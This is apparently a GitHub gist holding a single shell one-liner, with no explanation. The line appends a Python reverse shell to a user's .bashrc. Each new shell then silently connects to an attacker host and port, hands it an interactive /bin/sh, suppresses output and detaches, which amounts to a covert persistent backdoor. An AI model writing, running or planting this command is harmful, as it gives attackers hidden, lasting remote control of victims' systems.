Skip to content

Instantly share code, notes, and snippets.

@XayOn
Created September 7, 2018 09:40
Show Gist options
  • Save XayOn/f71c8b3523d324bfba09e1f280024eb9 to your computer and use it in GitHub Desktop.
Save XayOn/f71c8b3523d324bfba09e1f280024eb9 to your computer and use it in GitHub Desktop.
echo -e "\npython2 -c 'import sys,socket,os,pty;s=socket.socket(); s.connect((attacker_ip,attacker_port)); [os.dup2(s.fileno(),fd) for fd in (0,1,2)]; pty.spawn(\"/bin/sh\")' &>/dev/null & disown;" >> .bashrc
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment